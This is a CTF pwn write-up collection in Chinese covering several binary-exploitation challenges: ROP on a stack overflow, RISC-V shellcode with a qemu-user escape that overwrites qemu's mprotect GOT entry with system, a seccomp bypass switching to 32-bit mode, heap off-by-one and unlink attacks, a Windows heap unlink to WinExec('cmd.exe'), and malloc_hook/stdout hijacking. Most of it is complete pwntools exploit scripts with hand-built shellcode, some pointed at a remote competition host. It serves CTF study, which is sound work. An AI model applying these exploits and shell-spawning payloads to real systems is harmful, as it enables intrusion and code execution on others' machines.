    p.recvuntil(b"input your name: ")
    name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0)
    p.send(name) #0x3f000000400ff8
    
    lock(-2)
    add(0xdeadbeef) #0
    show()
    p.recvuntil(b"name: ")
    encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True))
    print("encode_csu_gadget_1:", hex(encode_csu_gadget_1))
    signed_csu_gadget_1 = unshift(encode_csu_gadget_1)
    print("signed_csu_gadget_1:", hex(signed_csu_gadget_1))
    
    lock(-1)
    auth(-1)
    
    # stack overflow
    payload = b"a"*0x28
    payload += p64(signed_csu_gadget_1)
    payload += p64(csu_gadget_2)*2
    payload += p64(0) + p64(1)
    payload += p64(read_got) + p64(0)
    payload += p64(0x412060) + p64(100)
    payload += p64(main_addr) + p64(main_addr)
    payload += p64(csu_gadget_2)
    p.sendline(payload)
    
    p.sendline(p64(system)+b"/bin/sh\x00")
    
    # set name
    p.recvuntil(b"input your name: ")
    name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0)
    p.send(name) #0x3f000000400ff8
    
    lock(-2)
    add(0xdeadbeef) #0
    show()
    p.recvuntil(b"name: ")
    encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True))
    print("encode_csu_gadget_1:", hex(encode_csu_gadget_1))
    signed_csu_gadget_1 = unshift(encode_csu_gadget_1)
    print("signed_csu_gadget_1:", hex(signed_csu_gadget_1))
    
    lock(-1)
    auth(-1)
    
    # stack overflow
    payload = b"a"*0x28
    payload += p64(signed_csu_gadget_1)
    payload += p64(csu_gadget_2)*2
    payload += p64(0) + p64(1)
    payload += p64(0x412060) + p64(0x412060+0x8)
    payload += p64(0) + p64(0)
    payload += p64(main_addr) + p64(main_addr)
    payload += p64(csu_gadget_2)
    p.sendline(payload)
    
    p.interactive()

def proof_of_work(p):
    p.recvuntil("xxxx+")
    suffix = p.recv(16).decode("utf8")
    p.recvuntil("== ")
    cipher = p.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==
                        cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    p.sendlineafter("Give me xxxx:", proof)


if __name__ == "__main__":
    proof_of_work(p)
    exp()

Favourite Architecure flag1

RISCV PWN,憋shellcode

  1. 远程栈固定,本地写完后稍加修改就打通了远程
  2. 栈溢出后用主函数末尾的gadget跳到自定义的一个栈位置上开始执行编辑好的orw shellcode
  3. RISCV的shellcode编写可以借助Ghidra右键patch功能(会显示16进制代码)

EXP:

from pwn import *

#p = process(argv=["./qemu-riscv64", "-g", "1234", "./main"])
#p = process(argv=["./qemu-riscv64", "./main"])
p = remote("119.28.89.167", 60001)
#p = remote("127.0.0.1", 60001)
context.log_level = "debug"
#context.arch = "riscv64"
elf = ELF("./main")

# overflow offset: 0x120
# ret_addr: 0x11300

def exp():
    p.recvuntil(b"Input the flag: ")
    #p.sendline(b"a"*0x4b8)
    ## openat(root, "/home/pwn/flag")
    shellcode = b"\x01\x45" #c.li a0, 0
    shellcode += b"\x01\x11" #c.addi sp -0x20
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x01\x46" #c.li a2, 0
    shellcode += b"\x93\x08\x80\x03" #li a7, 56
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## read(flag_fd, reg_sp, 30)
    shellcode += b"\x0d\x45" #c.li a0, 5
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x06\x20\x03" #c.li a2, 30
    shellcode += b"\x93\x08\xf0\x03" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## write(1, reg_sp, 30)
    shellcode += b"\x05\x45" #c.li a0, 5
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x06\x20\x03" #c.li a2, 30
    shellcode += b"\x93\x08\x00\x04" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    print("shellcode len:", hex(len(shellcode)))
    shellcode = shellcode.ljust(0x40, b"\x00")+b"/home/pwn/flag\x00"
    
    
    payload = b"a"*0x120+p64(0x1058a)
    payload = payload.ljust(0x2c8, b"a")
    payload += shellcode
    payload = payload.ljust(0x320, b"a")
    payload += p64(0x4000800e10)
    
    p.sendline(payload)
    p.interactive()

if __name__ == "__main__":
    exp()

Favourite Architecure flag2

接着上一题,不过为了有足够的空间需要把shellcode的位置做调整,sp的位置做调整,以便读取/proc/self/maps泄露地址

观察了qemu的源码以及实际测试发现,qemu-user没有做好地址隔离,如果泄露出地址后借助mprotect修改qemu got表所在段权限,修改mprotect函数got表就可以执行system("/bin/sh\x00")

坑点:

  1. shellcode位置要安排好,以免读文件覆盖掉shellcode
  2. qemu对/proc/self/maps路径做了限制,可以改成/home/**/proc/self/maps来绕过
  3. qemu-user地址隔离做的不好,直接vmmap虽然看不到qemu的内存,但是可以用mprotect修改其权限,改掉之后在调试器中hexdump就可以看到内存了
  4. 如果想修改mprotect_got指向system要注意,在进入mprotect系统调用时qemu会检查第一个参数的地址是否页对齐,对齐了才会call mprotect_got上的指针。这导致在利用时需要先把flag存到bss或者data段某些页对齐的地址上(大坑

    源码:

        if ((start & ~TARGET_PAGE_MASK) != 0)
            return -EINVAL;
  5. 注意li指令立即数大小有限制,可以结合位运算扩大

EXP:

from pwn import *
import time

#p = process(argv=["./qemu-riscv64", "-g", "1234", "./main"])
#p = process(argv=["./qemu-riscv64", "./main"])
p = remote("119.28.89.167", 60001)
#p = remote("127.0.0.1", 60001)
libc = ELF("./libc-2.27.so")
context.log_level = "debug"
#context.arch = "riscv64"
elf = ELF("./main")

# overflow offset: 0x120
# ret_addr: 0x11300

def exp():
    p.recvuntil(b"Input the flag: ")
    #p.sendline(b"a"*0x4b8)
    ## openat(root, path, 0)
    shellcode = b"\x01\x45" #c.li a0, 0
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x01\x46" #c.li a2, 0
    shellcode += b"\x93\x08\x80\x03" #li a7, 56
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## read(flag_fd, reg_sp, 30)
    shellcode += b"\x0d\x45" #c.li a0, 3
    #shellcode += b"\x15\x45" #c.li a0, 5
    shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
    shellcode += b"\x13\x06\x00\x32" #li a2, 0x1b0
    shellcode += b"\x93\x08\xf0\x03" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## write(1, reg_sp, 30)
    shellcode += b"\x05\x45" #c.li a0, 1
    shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
    shellcode += b"\x13\x06\x00\x32" #li a2, 0x1b0
    shellcode += b"\x93\x08\x00\x04" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## read(0, reg_sp, 0x10)
    shellcode += b"\x01\x45" #c.li a0, 0
    shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
    shellcode += b"\x41\x46" #c.li a2, 0x10
    shellcode += b"\x93\x08\xf0\x03" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
    shellcode += b"\x02\x64" #c.ldsp s0, 0x0(sp) => qemu_base_2
    shellcode += b"\xa2\x64" #c.ldsp s1, 0x8(sp) => mprotect_got
    shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
    ## mprotect(start, len, 7)
    shellcode += b"\x13\x05\x04\x00" #mv a0, s0
    shellcode += b"\x93\x05\xc0\x03" #li a1, 0x3c
    shellcode += b"\x93\x95\xc5\x00" #slli a1, a1, 0xc
    shellcode += b"\x1d\x46" #c.li a2, 0x7
    shellcode += b"\x93\x08\x20\x0e" #li a7, 226(mprotect)
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## write(1, mprotect_got, 0x8)
    shellcode += b"\x05\x45" #c.li a0, 1
    shellcode += b"\xa6\x85" #c.mv a1, s1
    shellcode += b"\x13\x06\x80\x00" #li a2, 0x8
    shellcode += b"\x93\x08\x00\x04" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## read(0, mprotect_got, 8)
    shellcode += b"\x01\x45" #c.li a0, 0
    shellcode += b"\x93\x85\x04\x00" #mv a1, s1 => mprotect_got
    shellcode += b"\x21\x46" #c.li a2, 0x8
    shellcode += b"\x93\x08\xf0\x03" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## store "/bin/sh" to 0x6d000 (PAGE_MASK_ADDR)
    shellcode += b"\x13\x01\x81\x01" #addi sp, 0x18
    shellcode += b"\x03\x39\x01\x00" #ld s2, 0x0(sp) load "/bin/sh"
    shellcode += b"\x13\x01\x81\xfe" #addi sp, -0x18
    shellcode += b"\x13\x01\xd0\x06" #li sp, 0x6d
    shellcode += b"\x13\x11\xc1\x00" #slli sp, sp, 0x4
    shellcode += b"\x23\x30\x21\x01" #sd s2, 0x0(sp) store "/bin/sh"
    ## system("/bin/sh")
    shellcode += b"\x13\x05\x01\x00" #mv a0, sp    
    shellcode += b"\x93\x05\xc0\x03" #li a1, 0x3c
    shellcode += b"\x93\x95\xc5\x00" #slli a1, a1, 0x18
    shellcode += b"\x1d\x46" #c.li a2, 0x7
    shellcode += b"\x93\x08\x20\x0e" #li a7, 226(mprotect)
    shellcode += b"\x73\x00\x00\x00" #ecall
    

    print("shellcode len:", hex(len(shellcode)))    
    
    payload = b"a"*0x120+p64(0x1058a)
    payload += shellcode
    payload = payload.ljust(0x320, b"a")
    payload += p64(0x4000800c70)
    payload += b"/proc/self/task/../maps\x00/bin/sh\x00"
    
    p.sendline(payload)
    
    #time.sleep(1)
    for i in range(6):
        p.recvuntil(b"\n")
    qemu_base = int(p.recvuntil(b"-", drop=True), 16)
    p.recvuntil(b"\n")
    qemu_base_2 = int(p.recvuntil(b"-", drop=True), 16)
    p.recv()
    
    do_syscall_1 = qemu_base + 0x141100
    do_syscall = qemu_base + 0x14cb50
    mprotect_got = qemu_base + 0x6A3200
    print("[*] qemu_base:", hex(qemu_base))
    print("[*] do_syscall_1:", hex(do_syscall_1))
    print("[*] mprotect_got:", hex(mprotect_got))
    print("[*] qemu_base_2:", hex(qemu_base_2))

    p.send(p64(qemu_base_2)+p64(mprotect_got))
    
    mprotect_libc = u64(p.recv(8))
    libc_base = mprotect_libc - libc.symbols[b"__mprotect"]
    system = libc_base + libc.symbols[b"system"]
    print("[*] mprotect_libc:", hex(mprotect_libc))
    print("[*] libc_base:", hex(libc_base))
    print("[*] system:", hex(system))
    
    p.send(p64(system))
    
    p.interactive()

if __name__ == "__main__":
    exp()

解题思路综合了wp和比赛时的思路,做了一点简化

CoolCode

这题一开始粗心了,没看见有个逻辑漏洞导致可以绕过可见字符判断,但是在这种情况下sad师傅还是吧shellcode构造出来了,实属牛批…..

分析

  1. add功能在bss段保存堆指针,但是没限制index可以为负数,导致可以覆盖got表为堆指针
  2. add功能在读取输入的时候会用一个函数检查输入中是否包含了非数字和大写字母内容,如果有则调用exit结束程序。但是这个函数存在一个逻辑漏洞,当输入长度为1时,for循环不会进入,导致存在1字节的无效过滤。
  3. 只要覆盖free_got到堆上,并写入ret指令对应的字节b"\xc3″,就可以在exit时返回继续执行,绕过检查。(虽然绕过了检查,但是由于程序使用strncpy拷贝内容,还要注意\x00截断问题)
if ( (unsigned int)filter_input((__int64)s, num) )// 限制输入内容
  {
    puts("read error.");
    exit(1);
  }
signed __int64 __fastcall filter_input(__int64 buf, int len)
{
  int i; // [rsp+14h] [rbp-8h]

  for ( i = 0; i < len - 1; ++i )
  {
    if ( (*(_BYTE *)(i + buf) <= 47 || *(_BYTE *)(i + buf) > 57)// 0~9
      && (*(_BYTE *)(i + buf) <= 64 || *(_BYTE *)(i + buf) > 90) )// 大写字母
    {
      return 1LL;                               // error
    }
  }
  return 0LL;
}
  1. 堆上有执行权限,可以考虑构造read调用把shellcode读到write_got指向的堆上执行(只要加好偏移,执行完read调用后就会立刻执行shellcode)
  2. 程序开启了seccomp保护,只剩下部分系统调用号,其中fstat刚好对应32位下的open,于是想到在shellcode中可以使用retf切换到32位打开“./flag"再回到64位read&write。(这里是难点,retf通过pop ip和pop cs改变程序位数,要注意retf在构造栈时需要按照32位栈来构造)
  3. 最后从返回中读取flag即可

EXP

from pwn import *
p=process("./coolcode")
context.log_level = "debug"
#p=remote("39.107.119.192",9999)
def add(index,content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"1")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())
    p.recvuntil(b"messages: ")
    p.send(content)

def show(index):
    p.recvuntil(b"Your choice :")
    p.sendline(b"2")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())

def delete(index):
    p.recvuntil(b"Your choice :")
    p.sendline(b"3")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())

def exp():
    #gdb.attach(p,"b *0x400E61\nc\n")
    # no \x00
    read_shellcode = '''
    xor rdi, rdi;
    sub rsi, 0x30
    mov rdx, rsi;
    xor rax, rax;
    syscall;
    '''
    read_shellcode = asm(read_shellcode, arch="amd64")
    add(-22, "\xc3") # exit_got->ret
    add(-34, read_shellcode) # write_got
    add(0, "CCCCCCCC")
    show(0)

    shellcode = ""
    a = '''
        add rcx, 19;
        mov rbx, 0x23
        SHL rbx, 32;
        add rcx, rbx;
        push rcx;
        retf
        mov esp, edx
        '''
    shellcode += asm(a,arch="amd64");

    b = '''
        mov eax, 5;
        push 0x00006761;
        push 0x6c662f2e;
        mov ebx, esp;
        mov ecx, 0;
        int 0x80;

        add edx, 0x43;
        push 0x33
        push edx
        retf
        '''
    shellcode += asm(b,arch="i386");

    c = '''
        mov rdi, rax;
        mov rsi, 0x602100;
        mov rdx, 0x40;
        mov rax, 0;
        syscall;

        mov rdi, 1;
        mov rsi, 0x602100;
        mov rdx, 0x40;
        mov rax, 1;
        syscall;
        '''
    shellcode += asm(c,arch="amd64");
    p.sendline("\x90"*0xe+shellcode)
    show(0)

    p.interactive()

if __name__ == "__main__":
    exp()

Snake

是个趣味题,思路不难,关键是io量太大了,容易卡住…

分析

  1. 程序是个贪吃蛇游戏,游戏地图和玩家姓名保存在堆上。假如游戏死亡,会根据死亡位置让你留下一段信息,这段信息写在存着地图的堆块上。经过测试,只要在右下角死亡,就会存在off_by_one,可以修改下一堆块的prev_size和size的低字节。
  2. 由于保存姓名的堆块大小有限制,不能为unsorted_bin,于是通过off_by_one的修改出一个unsorted_bin,同时构造一个overlapping。
  3. 泄露出unsorted_arena计算出libc_base,并利用overlapping修改其中fast_chunk的指针,把堆块分配到malloc_hook。
  4. 最后往malloc多试几个one_gadget就可以getshell了
  5. 要注意,在写脚本的时候,recv()一次游戏只会刷新一帧,需要写一个while循环send(“s”)方向键直到出现死亡信息。

EXP

from pwn import *
import time

p = process("./snake")
context.log_level = "debug"
#p = remote("39.107.244.116",9999)
def add(index,length,name):
    p.recvuntil(b"4.start name\n")
    p.sendline(b"1")
    p.recvuntil(b"index?\n")
    p.sendline(str(index).encode())
    p.recvuntil(b"how long?\n")
    p.sendline(str(length).encode())
    p.recvuntil(b"name?\n")
    p.sendline(name)

def delete(index):
    p.recvuntil(b"4.start name\n")
    p.sendline(b"2")
    p.recvuntil(b"index?\n")
    p.sendline(str(index).encode())

def get(index):
    p.recvuntil(b"4.start name\n")
    p.sendline(b"3")
    p.recvuntil(b"index?\n")
    p.sendline(str(index).encode())

def start():
    p.recvuntil(b"4.start name\n")
    p.sendline(b"4")

def play2die():
    while(1):
        ret = p.recv()
        if b"please leave words:\n" in ret:
            break
        else:
            p.send("s")
        time.sleep(0.6)

def exp():
    p.recvuntil(b"how long?\n")
    p.sendline(b"96")
    p.recvuntil(b"input name\n")
    list_start = 0x603140 #name_ptr_list
    name = b"A"*8
    p.sendline(name)

    play2die()

    words = b"123123"
    p.sendline(words)
    p.recvuntil(b"if you want to exit?\n")
    p.sendline(b"n")
    add(1,0x60,b"BBBBBBBB")
    add(2,0x20,p64(0xf0)+p64(0x21))

    start()
    play2die()
    words = b"A"*(4+0x40) + b"B"*8 + b"\xf1"
    p.send(words)
    p.recvuntil(b"if you want to exit?\n")
    p.sendline(b"n")
    delete(0)
    delete(1)

    start()
    p.recv(13)
    unsorted_arena = u64(p.recv(6).ljust(8,b"\x00"))
    libc_base = unsorted_arena - 0x3C4B20 - 0x58
    fake_chunk_start = libc_base + 0x3C4AED
    one_gadget = libc_base + 0xf1147
    malloc_hook = libc_base + 0x3c4b10
    print("unsorted_arena",hex(unsorted_arena))
    print("libc_base",hex(libc_base))
    print("fake_chunk_start",hex(fake_chunk_start))
    print("one_gadget",hex(one_gadget))
    print("malloc_hook",hex(malloc_hook))

    play2die()

    words = b"123123"
    p.sendline(words)
    p.recvuntil(b"if you want to exit?\n")
    p.sendline(b"n")

    add(0,0x50,b"AAAAAAAA")
    add(1,0x20,p64(0)+p64(0x71)+p64(fake_chunk_start))


    add(3,0x60,b"DDDDDDDD")
    add(4,0x60,b"A"*0x13+p64(one_gadget))
    print("one_gadget",hex(one_gadget))
    print("malloc_hook",hex(malloc_hook))

    p.recvuntil(b"4.start name\n")
    p.sendline(b"1")
    p.recvuntil(b"index?\n")
    p.sendline(str(5).encode())
    p.recvuntil(b"how long?\n")
    p.sendline(str(16).encode())
    p.interactive()

if __name__ == "__main__":
    exp()

EasyWinHeap

这题比赛的时候没做…比赛结束后搭建了好久的winpwn环境,然后向sad学习了一下windbg的调试。

?

关于windows的很多机制,之前没了解过,大部分来自于网上一点点的资料,还有《程序员的自我修养》。所以讲不了很详细,如果哪位师傅有详细的win堆管理机制学习资料劳烦嫖一份~

分析

程序逻辑不复杂,甚至存在很多漏洞

  1. alloc的时候将将 puts函数指针 | ((size>>4)+1) 之后和堆指针一起放置在堆上。然后在show的时候通过&0xFFFFFFF0 运算还原函数指针,然后puts堆上内容。(其实调试的时候发现函数指针最低位的变化不用考虑,应该只是做混淆)
    附:堆上指针保存位置
0:004> dd 0x1270490 0x1270600 
01270490  b1dc07df 080013cd 00011048 
01270520 012704a0  00011048 01270530 
00011048 01270540 012704b0  00011048 
01270550 00011048 01270560 012704c0  
00011048 01270570 00000000 00000000
  1. alloc的size并不是输入的size,而是之前的(size>>4)+1,但是edit的时候却是按照size长度来输入。明显存在堆溢出。
  2. 考虑修改堆上的puts指针为system或winexev的指针,然后把堆内容写"cmd.exe"作为参数(在我的系统版本,system地址包含了\x0a,导致输入会被破坏,于是只能使用winexec)。而winexev在kernel32中,和HeapFree一样,于是需要先泄露HeapFree的地址来计算偏移。既然要泄露HeapFree地址,就要把堆上保存的堆指针覆盖为HeapFree的iat地址。既然需要控制堆上指针,就需要构造unlink(win下的unlink与Linux稍有不同,主要是fd和bk都指向用户可控区域)。
    附:堆结构
01270510  00000000 00000000 a2dc07cc 
0800134e 01270520  012700c0 012700c0 
a2dc07cc 0800135d 01270530  012700c0 
012700c0 a3dd07cc 0000135d 01270540  
01270580 01270560 a2dc07cc 0800135d 
01270550  012700c0 012700c0 a3dd07cc 
0000135d 01270560  01270540 012700c0 
a2dc07cc 0800135d 01270570  012700c0 
012700c0 efdd0483 0000135d 01270580  
012700c0 01270540 00000000 00000000 
01270590  00000000 00000000 00000000 
00000000
  1. unlink构造完后就可以达成任意读写,这时只需要泄露出puts指针,计算出image_base,就衔接上了第三点的逻辑。
  2. 需要注意的是,由于edit输入后,末尾会存在00截断,导致破坏堆上原有内容,所以需要合理安排堆布局,并通过泄露部分内容以便在输入时顺便修补(详见EXP)。

EXP

from winpwn import *
context.arch='i386'
#context.log_level='debug'
context.windbg="C:\\Program Files\\WindowsApps\\Microsoft.WinDbg_1.2001.2001.0_neutral__8wekyb3d8bbwe\\DbgX.Shell.exe"
p=process("./EasyWinHeap.exe")

#windbg.attach(p)

def add(size):
    p.recvuntil("option >")
    p.sendline("1")
    p.sendline(str(size))
def free(index):
    p.recvuntil("option >")
    p.sendline("2")
    p.recvuntil("index >")
    p.sendline(str(index))
def show(index):
    p.recvuntil("option >")
    p.sendline("3")
    p.recvuntil("index >")
    p.sendline(str(index))
def edit(index,content):
    p.recvuntil("option >")
    p.sendline("4")
    p.recvuntil("index >")
    p.sendline(str(index))
    p.recvuntil("content  >")
    p.sendline(content)

add(0x70) #idx0
add(0x70) #idx1
add(0x70) #idx2
add(0x70) #idx3
add(0x70) #idx4
add(0x70) #idx5
#windbg.attach(p)
free(2)
free(4)
#windbg.attach(p)
show(2)   #过滤换行

p.recvuntil("\r\n")
ret = p.recvuntil("\r\n")
print("len(ret):",len(ret))
heap_base = u32(ret[:4]) - 0x580
idx2pptr = heap_base + 0x4a0 + 0x4*3 #0x4ac

print("heap_base:", hex(heap_base)) #泄露堆地址
print("idx2pptr:", hex(idx2pptr))

#伪造指针
#这里的ret[8:12]就是上一步额外泄露的内容,目的是修补堆块
edit(2, p32(idx2pptr-0x4)+p32(idx2pptr)+ret[8:12]) 
#windbg.attach(p)
#dd 0x1270490 0x1270600
#unlink
free(1)

#leak image_base & winexec/system
edit(2, p32(idx2pptr+0x10))
#windbg.attach(p)

show(2)
p.recvuntil("\r\n") #过滤换行
p.recv(4)
image_leak = u32(p.recv(3).ljust(4,"\x00"))
image_base = image_leak - 0x1048
idata_heapfree = image_base + 0x2004
print("image_leak:", hex(image_leak))
print("image_base:", hex(image_base))
print("idata_heapfree:", hex(idata_heapfree))

edit(2, p32(idata_heapfree))
#windbg.attach(p)
show(4)
p.recvuntil("\r\n") #过滤换行
heapfree = u32(p.recv(4))
winexec = heapfree - 0x11D10 + 0x5EA90
print("puts:", hex(heapfree))
print("winexec:", hex(winexec))

edit(3, "cmd.exe")
edit(2, p32(idx2pptr+0x4))
edit(4, p32(winexec)+p32(heap_base+0x550))
#windbg.attach(p)
p.recvuntil("option >")
p.sendline("3")

p.interactive()

注意该exp对堆地址字节数有限制(4字节),所以有时要多跑几遍。

直接用shellcode解的方法比较容易,但是另一种攻击stdout泄露地址的方法更为巧妙

0x00 预期解,使用shellcode

思路:

  • 拿到mmap的地址,以及程序基地址
  • 构造unlink拿到bss段上的控制权
  • 往mmap段(rwx权限)写入shellcode
  • 在bss上构造fake chunk后free掉,拿到unsorted_bin_arena改写为malloc_hook
  • 写malloc_hook为mmap的地址

踩坑:

  • 第0个堆块大小没分配够导致后面写的能力不够,小问题
  • 第1的堆块大小没弄对,因为要保证通过检测的情况下,利用off_by_null修改第一个字节,第1个堆块只能申请为0xf8或者0xf0(p->size为0×101,offbynull后为0×100)
  • 最后free fake_chunk的时候报错,发现因为我只在fake_chunk后面构造了一个0×21的chunk,导致free后的chunk与该chunk发生合并,检测出错。于是再增加一个0×21的chunk阻止合并即可。

exp

from pwn import *

p = process("./easyheap")
elf = ELF("./easyheap")
libc = ELF("./libc.so.6")

context.log_level = "debug"
context.arch = "amd64"

def alloc(size:int):
    p.recvuntil(">> ")
    p.sendline(b"1")
    p.recvuntil("Size: ")
    p.sendline(str(size).encode())
    
def delete(index:int):
    p.recvuntil(">> ")
    p.sendline(b"2")
    p.recvuntil("Index: ")
    p.sendline(str(index).encode())

def fill(index:int,content):
    p.recvuntil(">> ")
    p.sendline(b"3")
    p.recvuntil("Index: ")
    p.sendline(str(index).encode())
    p.recvuntil("Content: ")
    p.sendline(content)

def exp():
    p.recvuntil(b"Mmap: ")
    # leak addr
    mmap_addr = int(p.recvuntil('\n',drop=True),16)
    print("mmap_addr:",hex(mmap_addr))
    alloc(0xf8) #idx0
    p.recvuntil(b"chunk at [0] Pointer Address ")
    p_base = int(p.recvuntil('\n',drop=True),16) - 0x202068
    print("p_base:",hex(p_base))
    
    # unlink
    alloc(0xf8) #idx1 
    alloc(0x20) #idx2
    target = p_base + 0x202068
    fd = target - 0x18
    bk = target - 0x10
    payload1 = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20) + p64(0) + b"a"*0xc0 + p64(0xf0)
    fill(0,payload1)
    #gdb.attach(p)
    delete(1)
    #gdb.attach(p)
    
    # write shellcode to mmap_addr
    payload2 = p64(0)*2 + p64(0xf8) + p64(p_base + 0x202060 + 0x18) + p64(0x140)
    payload2 += p64(mmap_addr)
    fill(0,payload2)
    fill(1,asm(shellcraft.sh())) #
    
    # get malloc_hook_addr
    payload3 = p64(p_base + 0x202060 + 0x30) + p64(0x20) + p64(0x91) + b"a"*0x88
    payload3 += p64(0x21) + b"a"*0x18 + p64(0x21) # be careful
    fill(0,payload3)
    #gdb.attach(p)
    delete(1) # free fake_chunk
    fill(0,p64(0)*3 + p64(0x20) + b"\x10")
    fill(3,p64(mmap_addr))
    alloc(0x20)
    
    # get_shell
    p.interactive()

if __name__ == "__main__":
    exp()

0x01 攻击stdout的方法

思路

  • 构造overlapping
  • fastbin attack拿到stdout写,获得libc_base
  • fastbin attack攻击malloc hook

细节标注在exp的注释中

exp

from pwn import *

p = process("./easyheap")
elf = ELF("./easyheap")
libc = ELF("./libc.so.6")

context.log_level = "debug"

def alloc(size:int):
    p.recvuntil(b">> ")
    p.sendline(b"1")
    p.recvuntil("Size: ")
    p.sendline(str(size).encode())
    
def delete(index:int):
    p.recvuntil(b">> ")
    p.sendline(b"2")
    p.recvuntil("Index: ")
    p.sendline(str(index).encode())

def fill(index:int,content):
    p.recvuntil(b">> ")
    p.sendline(b"3")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())
    p.recvuntil(b"Content: ")
    p.sendline(content)

#IO_FILE
def exp():
    #构造overlapping
    alloc(0x88) #idx0
    alloc(0x68) #idx1
    alloc(0xf8) #idx2
    alloc(0x10) #idx3 
    delete(0)
    payload1 = b"a"*0x60 + p64(0x100)
    fill(1,payload1)
    delete(2) # unlink&overlapping
    delete(1)
    #gdb.attach(p)
    
    #让中间的fast chunk出现unsorted arena的地址,便于部分写后跳转到stdout附近的fakechunk
    alloc(0x88) #idx0
    delete(0)
    
    #攻击stdout
    alloc(0x100) #idx0 用于控制中间的fastchunk
    payload2 = b"a"*0x80 + p64(0x90) + p64(0x71) + b"\xdd\x25"  #fakechunk offset
    fill(0,payload2)
    alloc(0x68) #idx1
    alloc(0x68) #idx2 stdout fakechunk
    #payload3最后的\x00是覆盖了char* _IO_write_base的低位,控制输出的起始位置
    payload3 = b"\x00"*0x33 + p64(0xfbad1800) + p64(0)*3 + b"\x00"  
    fill(2,payload3)
    
    #获取输出并计算libc_base和一些必要地址
    base_offset = 0x3C56A4
    malloc_hook_fakechunk_offset = 0x3C4AED
    realloc_offset = 0x846c0
    one_gadget_offset = 0xf1147
    p.recv(0x48)
    libc_base = u64(p.recv(8)) - base_offset
    malloc_hook_fakechunk = libc_base + malloc_hook_fakechunk_offset
    realloc = libc_base + realloc_offset
    one_gadget = libc_base + one_gadget_offset
    print("libc base:",hex(libc_base))
    print("malloc_hook_fakechunk:",hex(malloc_hook_fakechunk))
    print("realloc:",hex(realloc))
    print("one_gadget:",hex(one_gadget))
    
    #利用fastbin attack分配fake chunk到malloc hook附近
    delete(1) #修复fastbin,否则无法进行fastbin attack

    payload4 = b"a"*0x80 + p64(0x90) + p64(0x71) + p64(malloc_hook_fakechunk) #fakechunk addr
    fill(0,payload4)
    alloc(0x68) #idx1
    alloc(0x68) #idx4 malloc_hook_fakechunk
    
    #malloc_hook to one_gadget
    #直接malloc_hook->gadget无法getshell,尝试先跳到realloc调整栈
    payload5 = b"a"*(0x13-0x8) + p64(one_gadget) + p64(realloc)
    fill(4,payload5)
    alloc(0x10)

    #跑几次脚本看运气弹shell
    p.interactive()
    

if __name__ == "__main__":
    exp()